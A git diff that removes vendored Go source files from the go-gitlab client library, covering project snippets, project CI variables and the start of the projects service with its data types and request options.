ProjectSnippetsService struct { - client *Client -} - -// ListProjectSnippetsOptions represents the available ListSnippets() options. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/project_snippets.html#list-snippets -type ListProjectSnippetsOptions ListOptions - -// ListSnippets gets a list of project snippets. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/project_snippets.html#list-snippets -func (s *ProjectSnippetsService) ListSnippets(pid interface{}, opt *ListProjectSnippetsOptions, options ...RequestOptionFunc) ([]*Snippet, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/snippets", pathEscape(project)) - - req, err := s.client.NewRequest("GET", u, opt, options) - if err != nil { - return nil, nil, err - } - - var ps []*Snippet - resp, err := s.client.Do(req, &ps) - if err != nil { - return nil, resp, err - } - - return ps, resp, err -} - -// GetSnippet gets a single project snippet -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/project_snippets.html#single-snippet -func (s *ProjectSnippetsService) GetSnippet(pid interface{}, snippet int, options ...RequestOptionFunc) (*Snippet, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/snippets/%d", pathEscape(project), snippet) - - req, err := s.client.NewRequest("GET", u, nil, options) - if err != nil { - return nil, nil, err - } - - ps := new(Snippet) - resp, err := s.client.Do(req, ps) - if err != nil { - return nil, resp, err - } - - return ps, resp, err -} - -// CreateProjectSnippetOptions represents the available CreateSnippet() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/project_snippets.html#create-new-snippet -type CreateProjectSnippetOptions struct { - Title *string `url:"title,omitempty" json:"title,omitempty"` - FileName *string `url:"file_name,omitempty" json:"file_name,omitempty"` - Description *string `url:"description,omitempty" json:"description,omitempty"` - Content *string `url:"content,omitempty" json:"content,omitempty"` - Visibility *VisibilityValue `url:"visibility,omitempty" json:"visibility,omitempty"` -} - -// CreateSnippet creates a new project snippet. The user must have permission -// to create new snippets. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/project_snippets.html#create-new-snippet -func (s *ProjectSnippetsService) CreateSnippet(pid interface{}, opt *CreateProjectSnippetOptions, options ...RequestOptionFunc) (*Snippet, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/snippets", pathEscape(project)) - - req, err := s.client.NewRequest("POST", u, opt, options) - if err != nil { - return nil, nil, err - } - - ps := new(Snippet) - resp, err := s.client.Do(req, ps) - if err != nil { - return nil, resp, err - } - - return ps, resp, err -} - -// UpdateProjectSnippetOptions represents the available UpdateSnippet() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/project_snippets.html#update-snippet -type UpdateProjectSnippetOptions struct { - Title *string `url:"title,omitempty" json:"title,omitempty"` - FileName *string `url:"file_name,omitempty" json:"file_name,omitempty"` - Description *string `url:"description,omitempty" json:"description,omitempty"` - Content *string `url:"content,omitempty" json:"content,omitempty"` - Visibility *VisibilityValue `url:"visibility,omitempty" json:"visibility,omitempty"` -} - -// UpdateSnippet updates an existing project snippet. The user must have -// permission to change an existing snippet. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/project_snippets.html#update-snippet -func (s *ProjectSnippetsService) UpdateSnippet(pid interface{}, snippet int, opt *UpdateProjectSnippetOptions, options ...RequestOptionFunc) (*Snippet, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/snippets/%d", pathEscape(project), snippet) - - req, err := s.client.NewRequest("PUT", u, opt, options) - if err != nil { - return nil, nil, err - } - - ps := new(Snippet) - resp, err := s.client.Do(req, ps) - if err != nil { - return nil, resp, err - } - - return ps, resp, err -} - -// DeleteSnippet deletes an existing project snippet. This is an idempotent -// function and deleting a non-existent snippet still returns a 200 OK status -// code. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/project_snippets.html#delete-snippet -func (s *ProjectSnippetsService) DeleteSnippet(pid interface{}, snippet int, options ...RequestOptionFunc) (*Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, err - } - u := fmt.Sprintf("projects/%s/snippets/%d", pathEscape(project), snippet) - - req, err := s.client.NewRequest("DELETE", u, nil, options) - if err != nil { - return nil, err - } - - return s.client.Do(req, nil) -} - -// SnippetContent returns the raw project snippet as plain text. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/project_snippets.html#snippet-content -func (s *ProjectSnippetsService) SnippetContent(pid interface{}, snippet int, options ...RequestOptionFunc) ([]byte, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/snippets/%d/raw", pathEscape(project), snippet) - - req, err := s.client.NewRequest("GET", u, nil, options) - if err != nil { - return nil, nil, err - } - - var b bytes.Buffer - resp, err := s.client.Do(req, &b) - if err != nil { - return nil, resp, err - } - - return b.Bytes(), resp, err -} diff --git a/vendor/github.com/xanzy/go-gitlab/project_variables.go b/vendor/github.com/xanzy/go-gitlab/project_variables.go deleted file mode 100644 index 86f9d0b8ca..0000000000 --- a/vendor/github.com/xanzy/go-gitlab/project_variables.go +++ /dev/null @@ -1,201 +0,0 @@ -// -// Copyright 2018, Patrick Webster -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. -// - -package gitlab - -import ( - "fmt" - "net/url" -) - -// ProjectVariablesService handles communication with the -// project variables related methods of the GitLab API. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/project_level_variables.html -type ProjectVariablesService struct { - client *Client -} - -// ProjectVariable represents a GitLab Project Variable. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/project_level_variables.html -type ProjectVariable struct { - Key string `json:"key"` - Value string `json:"value"` - VariableType VariableTypeValue `json:"variable_type"` - Protected bool `json:"protected"` - Masked bool `json:"masked"` - EnvironmentScope string `json:"environment_scope"` -} - -func (v ProjectVariable) String() string { - return Stringify(v) -} - -// ListProjectVariablesOptions represents the available options for listing variables -// in a project. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/project_level_variables.html#list-project-variables -type ListProjectVariablesOptions ListOptions - -// ListVariables gets a list of all variables in a project. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/project_level_variables.html#list-project-variables -func (s *ProjectVariablesService) ListVariables(pid interface{}, opt *ListProjectVariablesOptions, options ...RequestOptionFunc) ([]*ProjectVariable, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/variables", pathEscape(project)) - - req, err := s.client.NewRequest("GET", u, opt, options) - if err != nil { - return nil, nil, err - } - - var vs []*ProjectVariable - resp, err := s.client.Do(req, &vs) - if err != nil { - return nil, resp, err - } - - return vs, resp, err -} - -// GetVariable gets a variable. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/project_level_variables.html#show-variable-details -func (s *ProjectVariablesService) GetVariable(pid interface{}, key string, options ...RequestOptionFunc) (*ProjectVariable, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/variables/%s", pathEscape(project), url.PathEscape(key)) - - req, err := s.client.NewRequest("GET", u, nil, options) - if err != nil { - return nil, nil, err - } - - v := new(ProjectVariable) - resp, err := s.client.Do(req, v) - if err != nil { - return nil, resp, err - } - - return v, resp, err -} - -// CreateProjectVariableOptions represents the available CreateVariable() -// options. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/project_level_variables.html#create-variable -type CreateProjectVariableOptions struct { - Key *string `url:"key,omitempty" json:"key,omitempty"` - Value *string `url:"value,omitempty" json:"value,omitempty"` - VariableType *VariableTypeValue `url:"variable_type,omitempty" json:"variable_type,omitempty"` - Protected *bool `url:"protected,omitempty" json:"protected,omitempty"` - Masked *bool `url:"masked,omitempty" json:"masked,omitempty"` - EnvironmentScope *string `url:"environment_scope,omitempty" json:"environment_scope,omitempty"` -} - -// CreateVariable creates a new project variable. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/project_level_variables.html#create-variable -func (s *ProjectVariablesService) CreateVariable(pid interface{}, opt *CreateProjectVariableOptions, options ...RequestOptionFunc) (*ProjectVariable, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/variables", pathEscape(project)) - - req, err := s.client.NewRequest("POST", u, opt, options) - if err != nil { - return nil, nil, err - } - - v := new(ProjectVariable) - resp, err := s.client.Do(req, v) - if err != nil { - return nil, resp, err - } - - return v, resp, err -} - -// UpdateProjectVariableOptions represents the available UpdateVariable() -// options. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/project_level_variables.html#update-variable -type UpdateProjectVariableOptions struct { - Value *string `url:"value,omitempty" json:"value,omitempty"` - VariableType *VariableTypeValue `url:"variable_type,omitempty" json:"variable_type,omitempty"` - Protected *bool `url:"protected,omitempty" json:"protected,omitempty"` - Masked *bool `url:"masked,omitempty" json:"masked,omitempty"` - EnvironmentScope *string `url:"environment_scope,omitempty" json:"environment_scope,omitempty"` -} - -// UpdateVariable updates a project's variable. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/project_level_variables.html#update-variable -func (s *ProjectVariablesService) UpdateVariable(pid interface{}, key string, opt *UpdateProjectVariableOptions, options ...RequestOptionFunc) (*ProjectVariable, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/variables/%s", pathEscape(project), url.PathEscape(key)) - - req, err := s.client.NewRequest("PUT", u, opt, options) - if err != nil { - return nil, nil, err - } - - v := new(ProjectVariable) - resp, err := s.client.Do(req, v) - if err != nil { - return nil, resp, err - } - - return v, resp, err -} - -// RemoveVariable removes a project's variable. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/project_level_variables.html#remove-variable -func (s *ProjectVariablesService) RemoveVariable(pid interface{}, key string, options ...RequestOptionFunc) (*Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, err - } - u := fmt.Sprintf("projects/%s/variables/%s", pathEscape(project), url.PathEscape(key)) - - req, err := s.client.NewRequest("DELETE", u, nil, options) - if err != nil { - return nil, err - } - - return s.client.Do(req, nil) -} diff --git a/vendor/github.com/xanzy/go-gitlab/projects.go b/vendor/github.com/xanzy/go-gitlab/projects.go deleted file mode 100644 index c98b01f23c..0000000000 --- a/vendor/github.com/xanzy/go-gitlab/projects.go +++ /dev/null @@ -1,1622 +0,0 @@ -// -// Copyright 2017, Sander van Harmelen -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. -// - -package gitlab - -import ( - "bytes" - "fmt" - "io" - "io/ioutil" - "mime/multipart" - "os" - "time" -) - -// ProjectsService handles communication with the repositories related methods -// of the GitLab API. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/projects.html -type ProjectsService struct { - client *Client -} - -// Project represents a GitLab project. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/projects.html -type Project struct { - ID int `json:"id"` - Description string `json:"description"` - DefaultBranch string `json:"default_branch"` - Public bool `json:"public"` - Visibility VisibilityValue `json:"visibility"` - SSHURLToRepo string `json:"ssh_url_to_repo"` - HTTPURLToRepo string `json:"http_url_to_repo"` - WebURL string `json:"web_url"` - ReadmeURL string `json:"readme_url"` - TagList []string `json:"tag_list"` - Owner *User `json:"owner"` - Name string `json:"name"` - NameWithNamespace string `json:"name_with_namespace"` - Path string `json:"path"` - PathWithNamespace string `json:"path_with_namespace"` - IssuesEnabled bool `json:"issues_enabled"` - OpenIssuesCount int `json:"open_issues_count"` - MergeRequestsEnabled bool `json:"merge_requests_enabled"` - ApprovalsBeforeMerge int `json:"approvals_before_merge"` - JobsEnabled bool `json:"jobs_enabled"` - WikiEnabled bool `json:"wiki_enabled"` - SnippetsEnabled bool `json:"snippets_enabled"` - ResolveOutdatedDiffDiscussions bool `json:"resolve_outdated_diff_discussions"` - ContainerRegistryEnabled bool `json:"container_registry_enabled"` - CreatedAt *time.Time `json:"created_at,omitempty"` - LastActivityAt *time.Time `json:"last_activity_at,omitempty"` - CreatorID int `json:"creator_id"` - Namespace *ProjectNamespace `json:"namespace"` - ImportStatus string `json:"import_status"` - ImportError string `json:"import_error"` - Permissions *Permissions `json:"permissions"` - MarkedForDeletionAt *ISOTime `json:"marked_for_deletion_at"` - Archived bool `json:"archived"` - AvatarURL string `json:"avatar_url"` - SharedRunnersEnabled bool `json:"shared_runners_enabled"` - ForksCount int `json:"forks_count"` - StarCount int `json:"star_count"` - RunnersToken string `json:"runners_token"` - PublicBuilds bool `json:"public_builds"` - OnlyAllowMergeIfPipelineSucceeds bool `json:"only_allow_merge_if_pipeline_succeeds"` - OnlyAllowMergeIfAllDiscussionsAreResolved bool `json:"only_allow_merge_if_all_discussions_are_resolved"` - RemoveSourceBranchAfterMerge bool `json:"remove_source_branch_after_merge"` - LFSEnabled bool `json:"lfs_enabled"` - RequestAccessEnabled bool `json:"request_access_enabled"` - MergeMethod MergeMethodValue `json:"merge_method"` - ForkedFromProject *ForkParent `json:"forked_from_project"` - Mirror bool `json:"mirror"` - MirrorUserID int `json:"mirror_user_id"` - MirrorTriggerBuilds bool `json:"mirror_trigger_builds"` - OnlyMirrorProtectedBranches bool `json:"only_mirror_protected_branches"` - MirrorOverwritesDivergedBranches bool `json:"mirror_overwrites_diverged_branches"` - ServiceDeskEnabled bool `json:"service_desk_enabled"` - ServiceDeskAddress string `json:"service_desk_address"` - IssuesAccessLevel AccessControlValue `json:"issues_access_level"` - RepositoryAccessLevel AccessControlValue `json:"repository_access_level"` - MergeRequestsAccessLevel AccessControlValue `json:"merge_requests_access_level"` - ForkingAccessLevel AccessControlValue `json:"forking_access_level"` - WikiAccessLevel AccessControlValue `json:"wiki_access_level"` - BuildsAccessLevel AccessControlValue `json:"builds_access_level"` - SnippetsAccessLevel AccessControlValue `json:"snippets_access_level"` - PagesAccessLevel AccessControlValue `json:"pages_access_level"` - AutocloseReferencedIssues bool `json:"autoclose_referenced_issues"` - SharedWithGroups []struct { - GroupID int `json:"group_id"` - GroupName string `json:"group_name"` - GroupAccessLevel int `json:"group_access_level"` - } `json:"shared_with_groups"` - Statistics *ProjectStatistics `json:"statistics"` - Links *Links `json:"_links,omitempty"` - CIConfigPath string `json:"ci_config_path"` - CIDefaultGitDepth int `json:"ci_default_git_depth"` - CustomAttributes []*CustomAttribute `json:"custom_attributes"` -} - -// Repository represents a repository. -type Repository struct { - Name string `json:"name"` - Description string `json:"description"` - WebURL string `json:"web_url"` - AvatarURL string `json:"avatar_url"` - GitSSHURL string `json:"git_ssh_url"` - GitHTTPURL string `json:"git_http_url"` - Namespace string `json:"namespace"` - Visibility VisibilityValue `json:"visibility"` - PathWithNamespace string `json:"path_with_namespace"` - DefaultBranch string `json:"default_branch"` - Homepage string `json:"homepage"` - URL string `json:"url"` - SSHURL string `json:"ssh_url"` - HTTPURL string `json:"http_url"` -} - -// ProjectNamespace represents a project namespace. -type ProjectNamespace struct { - ID int `json:"id"` - Name string `json:"name"` - Path string `json:"path"` - Kind string `json:"kind"` - FullPath string `json:"full_path"` -} - -// StorageStatistics represents a statistics record for a group or project. -type StorageStatistics struct { - StorageSize int64 `json:"storage_size"` - RepositorySize int64 `json:"repository_size"` - LfsObjectsSize int64 `json:"lfs_objects_size"` - JobArtifactsSize int64 `json:"job_artifacts_size"` -} - -// ProjectStatistics represents a statistics record for a project. -type ProjectStatistics struct { - StorageStatistics - CommitCount int `json:"commit_count"` -} - -// Permissions represents permissions. -type Permissions struct { - ProjectAccess *ProjectAccess `json:"project_access"` - GroupAccess *GroupAccess `json:"group_access"` -} - -// ProjectAccess represents project access. -type ProjectAccess struct { - AccessLevel AccessLevelValue `json:"access_level"` - NotificationLevel NotificationLevelValue `json:"notification_level"` -} - -// GroupAccess represents group access. -type GroupAccess struct { - AccessLevel AccessLevelValue `json:"access_level"` - NotificationLevel NotificationLevelValue `json:"notification_level"` -} - -// ForkParent represents the parent project when this is a fork. -type ForkParent struct { - HTTPURLToRepo string `json:"http_url_to_repo"` - ID int `json:"id"` - Name string `json:"name"` - NameWithNamespace string `json:"name_with_namespace"` - Path string `json:"path"` - PathWithNamespace string `json:"path_with_namespace"` - WebURL string `json:"web_url"` -} - -// Links represents a project web links for self, issues, merge_requests, -// repo_branches, labels, events, members. -type Links struct { - Self string `json:"self"` - Issues string `json:"issues"` - MergeRequests string `json:"merge_requests"` - RepoBranches string `json:"repo_branches"` - Labels string `json:"labels"` - Events string `json:"events"` - Members string `json:"members"` -} - -func (s Project) String() string { - return Stringify(s) -} - -// ProjectApprovalRule represents a GitLab project approval rule. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/merge_request_approvals.html#get-project-level-rules -type ProjectApprovalRule struct { - ID int `json:"id"` - Name string `json:"name"` - RuleType string `json:"rule_type"` - EligibleApprovers []*BasicUser `json:"eligible_approvers"` - ApprovalsRequired int `json:"approvals_required"` - Users []*BasicUser `json:"users"` - Groups []*Group `json:"groups"` - ContainsHiddenGroups bool `json:"contains_hidden_groups"` - ProtectedBranches []*ProtectedBranch `json:"protected_branches"` -} - -func (s ProjectApprovalRule) String() string { - return Stringify(s) -} - -// ListProjectsOptions represents the available ListProjects() options. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/projects.html#list-projects -type ListProjectsOptions struct { - ListOptions - Archived *bool `url:"archived,omitempty" json:"archived,omitempty"` - Visibility *VisibilityValue `url:"visibility,omitempty" json:"visibility,omitempty"` - OrderBy *string `url:"order_by,omitempty" json:"order_by,omitempty"` - Sort *string `url:"sort,omitempty" json:"sort,omitempty"` - Search *string `url:"search,omitempty" json:"search,omitempty"` - SearchNamespaces *bool `url:"search_namespaces,omitempty" json:"search_namespaces,omitempty"` - Simple *bool `url:"simple,omitempty" json:"simple,omitempty"` - Owned *bool `url:"owned,omitempty" json:"owned,omitempty"` - Membership *bool `url:"membership,omitempty" json:"membership,omitempty"` - Starred *bool `url:"starred,omitempty" json:"starred,omitempty"` - Statistics *bool `url:"statistics,omitempty" json:"statistics,omitempty"` - WithCustomAttributes *bool `url:"with_custom_attributes,omitempty" json:"with_custom_attributes,omitempty"` - WithIssuesEnabled *bool `url:"with_issues_enabled,omitempty" json:"with_issues_enabled,omitempty"` - WithMergeRequestsEnabled *bool `url:"with_merge_requests_enabled,omitempty" json:"with_merge_requests_enabled,omitempty"` - WithProgrammingLanguage *string `url:"with_programming_language,omitempty" json:"with_programming_language,omitempty"` - WikiChecksumFailed *bool `url:"wiki_checksum_failed,omitempty" json:"wiki_checksum_failed,omitempty"` - RepositoryChecksumFailed *bool `url:"repository_checksum_failed,omitempty" json:"repository_checksum_failed,omitempty"` - MinAccessLevel *AccessLevelValue `url:"min_access_level,omitempty" json:"min_access_level,omitempty"` - IDAfter *int `url:"id_after,omitempty" json:"id_after,omitempty"` - IDBefore *int `url:"id_before,omitempty" json:"id_before,omitempty"` - LastActivityAfter *time.Time `url:"last_activity_after,omitempty" json:"last_activity_after,omitempty"` - LastActivityBefore *time.Time `url:"last_activity_before,omitempty" json:"last_activity_before,omitempty"` -} - -// ListProjects gets a list of projects accessible by the authenticated user. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/projects.html#list-projects -func (s *ProjectsService) ListProjects(opt *ListProjectsOptions, options ...RequestOptionFunc) ([]*Project, *Response, error) { - req, err := s.client.NewRequest("GET", "projects", opt, options) - if err != nil { - return nil, nil, err - } - - var p []*Project - resp, err := s.client.Do(req, &p) - if err != nil { - return nil, resp, err - } - - return p, resp, err -} - -// ListUserProjects gets a list of projects for the given user. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/projects.html#list-user-projects -func (s *ProjectsService) ListUserProjects(uid interface{}, opt *ListProjectsOptions, options ...RequestOptionFunc) ([]*Project, *Response, error) { - user, err := parseID(uid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("users/%s/projects", user) - - req, err := s.client.NewRequest("GET", u, opt, options) - if err != nil { - return nil, nil, err - } - - var p []*Project - resp, err := s.client.Do(req, &p) - if err != nil { - return nil, resp, err - } - - return p, resp, err -} - -// ProjectUser represents a GitLab project user. -type ProjectUser struct { - ID int `json:"id"` - Name string `json:"name"` - Username string `json:"username"` - State string `json:"state"` - AvatarURL string `json:"avatar_url"` - WebURL string `json:"web_url"` -} - -// ListProjectUserOptions represents the available ListProjectsUsers() options. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/projects.html#get-project-users -type ListProjectUserOptions struct { - ListOptions - Search *string `url:"search,omitempty" json:"search,omitempty"` -} - -// ListProjectsUsers gets a list of users for the given project. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/projects.html#get-project-users -func (s *ProjectsService) ListProjectsUsers(pid interface{}, opt *ListProjectUserOptions, options ...RequestOptionFunc) ([]*ProjectUser, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/users", pathEscape(project)) - - req, err := s.client.NewRequest("GET", u, opt, options) - if err != nil { - return nil, nil, err - } - - var p []*ProjectUser - resp, err := s.client.Do(req, &p) - if err != nil { - return nil, resp, err - } - - return p, resp, err -} - -// ProjectLanguages is a map of strings because the response is arbitrary -// -// Gitlab API docs: https://docs.gitlab.com/ce/api/projects.html#languages -type ProjectLanguages map[string]float32 - -// GetProjectLanguages gets a list of languages used by the project -// -// GitLab API docs: https://docs.gitlab.com/ce/api/projects.html#languages -func (s *ProjectsService) GetProjectLanguages(pid interface{}, options ...RequestOptionFunc) (*ProjectLanguages, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/languages", pathEscape(project)) - - req, err := s.client.NewRequest("GET", u, nil, options) - if err != nil { - return nil, nil, err - } - - p := new(ProjectLanguages) - resp, err := s.client.Do(req, p) - if err != nil { - return nil, resp, err - } - - return p, resp, err -} - -// GetProjectOptions represents the available GetProject() options. -// -// GitLab API docs: https://docs.gitlab.com/ee/api/projects.html#get-single-project -type GetProjectOptions struct { - Statistics *bool `url:"statistics,omitempty" json:"statistics,omitempty"` - License *bool `url:"license,omitempty" json:"license,omitempty"` - WithCustomAttributes *bool `url:"with_custom_attributes,omitempty" json:"with_custom_attributes,omitempty"` -} - -// GetProject gets a specific project, identified by project ID or -// NAMESPACE/PROJECT_NAME, which is owned by the authenticated user. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/projects.html#get-single-project -func (s *ProjectsService) GetProject(pid interface{}, opt *GetProjectOptions, options ...RequestOptionFunc) (*Project, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s", pathEscape(project)) - - req, err := s.client.NewRequest("GET", u, opt, options) - if err != nil { - return nil, nil, err - } - - p := new(Project) - resp, err := s.client.Do(req, p) - if err != nil { - return nil, resp, err - } - - return p, resp, err -} - -// ProjectEvent represents a GitLab project event. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/projects.html#get-project-events -type ProjectEvent struct { - Title interface{} `json:"title"` - ProjectID int `json:"project_id"` - ActionName string `json:"action_name"` - TargetID interface{} `json:"target_id"` - TargetType interface{} `json:"target_type"` - AuthorID int `json:"author_id"` - AuthorUsername string `json:"author_username"` - Data struct { - Before string `json:"before"` - After string `json:"after"` - Ref string `json:"ref"` - UserID int `json:"user_id"` - UserName string `json:"user_name"` - Repository *Repository `json:"repository"` - Commits []*Commit `json:"commits"` - TotalCommitsCount int `json:"total_commits_count"` - } `json:"data"` - TargetTitle interface{} `json:"target_title"` -} - -func (s ProjectEvent) String() string { - return Stringify(s) -} - -// GetProjectEventsOptions represents the available GetProjectEvents() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/projects.html#get-project-events -type GetProjectEventsOptions ListOptions - -// GetProjectEvents gets the events for the specified project. Sorted from -// newest to latest. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/projects.html#get-project-events -func (s *ProjectsService) GetProjectEvents(pid interface{}, opt *GetProjectEventsOptions, options ...RequestOptionFunc) ([]*ProjectEvent, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/events", pathEscape(project)) - - req, err := s.client.NewRequest("GET", u, opt, options) - if err != nil { - return nil, nil, err - } - - var p []*ProjectEvent - resp, err := s.client.Do(req, &p) - if err != nil { - return nil, resp, err - } - - return p, resp, err -} - -// CreateProjectOptions represents the available CreateProject() options. -// -// GitLab API docs: https://docs.gitlab.com/ee/api/projects.html#create-project -type CreateProjectOptions struct { - Name *string `url:"name,omitempty" json:"name,omitempty"` - Path *string `url:"path,omitempty" json:"path,omitempty"` - NamespaceID *int `url:"namespace_id,omitempty" json:"namespace_id,omitempty"` - DefaultBranch *string `url:"default_branch,omitempty" json:"default_branch,omitempty"` - Description *string `url:"description,omitempty" json:"description,omitempty"` - IssuesAccessLevel *AccessControlValue `url:"issues_access_level,omitempty" json:"issues_access_level,omitempty"` - RepositoryAccessLevel *AccessControlValue `url:"repository_access_level,omitempty" json:"repository_access_level,omitempty"` - MergeRequestsAccessLevel *AccessControlValue `url:"merge_requests_access_level,omitempty" json:"merge_requests_access_level,omitempty"` - ForkingAccessLevel *AccessControlValue `url:"forking_access_level,omitempty" json:"forking_access_level,omitempty"` - BuildsAccessLevel *AccessControlValue `url:"builds_access_level,omitempty" json:"builds_access_level,omitempty"` - WikiAccessLevel *AccessControlValue `url:"wiki_access_level,omitempty" json:"wiki_access_level,omitempty"` - SnippetsAccessLevel *AccessControlValue `url:"snippets_access_level,omitempty" json:"snippets_access_level,omitempty"` - PagesAccessLevel *AccessControlValue `url:"pages_access_level,omitempty" json:"pages_access_level,omitempty"` - EmailsDisabled *bool `url:"emails_disabled,omitempty" json:"emails_disabled,omitempty"` - ResolveOutdatedDiffDiscussions *bool `url:"resolve_outdated_diff_discussions,omitempty" json:"resolve_outdated_diff_discussions,omitempty"` - ContainerRegistryEnabled *bool `url:"container_registry_enabled,omitempty" json:"container_registry_enabled,omitempty"` - SharedRunnersEnabled *bool `url:"shared_runners_enabled,omitempty" json:"shared_runners_enabled,omitempty"` - Visibility *VisibilityValue `url:"visibility,omitempty" json:"visibility,omitempty"` - ImportURL *string `url:"import_url,omitempty" json:"import_url,omitempty"` - PublicBuilds *bool `url:"public_builds,omitempty" json:"public_builds,omitempty"` - OnlyAllowMergeIfPipelineSucceeds *bool `url:"only_allow_merge_if_pipeline_succeeds,omitempty" json:"only_allow_merge_if_pipeline_succeeds,omitempty"` - OnlyAllowMergeIfAllDiscussionsAreResolved *bool `url:"only_allow_merge_if_all_discussions_are_resolved,omitempty" json:"only_allow_merge_if_all_discussions_are_resolved,omitempty"` - MergeMethod *MergeMethodValue `url:"merge_method,omitempty" json:"merge_method,omitempty"` - RemoveSourceBranchAfterMerge *bool `url:"remove_source_branch_after_merge,omitempty" json:"remove_source_branch_after_merge,omitempty"` - LFSEnabled *bool `url:"lfs_enabled,omitempty" json:"lfs_enabled,omitempty"` - RequestAccessEnabled *bool `url:"request_access_enabled,omitempty" json:"request_access_enabled,omitempty"` - TagList *[]string `url:"tag_list,omitempty" json:"tag_list,omitempty"` - PrintingMergeRequestLinkEnabled *bool `url:"printing_merge_request_link_enabled,omitempty" json:"printing_merge_request_link_enabled,omitempty"` - BuildGitStrategy *string `url:"build_git_strategy,omitempty" json:"build_git_strategy,omitempty"` - BuildTimeout *int `url:"build_timeout,omitempty" json:"build_timeout,omitempty"` - AutoCancelPendingPipelines *string `url:"auto_cancel_pending_pipelines,omitempty" json:"auto_cancel_pending_pipelines,omitempty"` - BuildCoverageRegex *string `url:"build_coverage_regex,omitempty" json:"build_coverage_regex,omitempty"` - CIConfigPath *string `url:"ci_config_path,omitempty" json:"ci_config_path,omitempty"` - AutoDevopsEnabled *bool `url:"auto_devops_enabled,omitempty" json:"auto_devops_enabled,omitempty"` - AutoDevopsDeployStrategy *string `url:"auto_devops_deploy_strategy,omitempty" json:"auto_devops_deploy_strategy,omitempty"` - ApprovalsBeforeMerge *int `url:"approvals_before_merge,omitempty" json:"approvals_before_merge,omitempty"` - ExternalAuthorizationClassificationLabel *string `url:"external_authorization_classification_label,omitempty" json:"external_authorization_classification_label,omitempty"` - Mirror *bool `url:"mirror,omitempty" json:"mirror,omitempty"` - MirrorTriggerBuilds *bool `url:"mirror_trigger_builds,omitempty" json:"mirror_trigger_builds,omitempty"` - InitializeWithReadme *bool `url:"initialize_with_readme,omitempty" json:"initialize_with_readme,omitempty"` - TemplateName *string `url:"template_name,omitempty" json:"template_name,omitempty"` - UseCustomTemplate *bool `url:"use_custom_template,omitempty" json:"use_custom_template,omitempty"` - GroupWithProjectTemplatesID *int `url:"group_with_project_templates_id,omitempty" json:"group_with_project_templates_id,omitempty"` - PackagesEnabled *bool `url:"packages_enabled,omitempty" json:"packages_enabled,omitempty"` - ServiceDeskEnabled *bool `url:"service_desk_enabled,omitempty" json:"service_desk_enabled,omitempty"` - AutocloseReferencedIssues *bool `url:"autoclose_referenced_issues,omitempty" json:"autoclose_referenced_issues,omitempty"` - - // Deprecated members - IssuesEnabled *bool `url:"issues_enabled,omitempty" 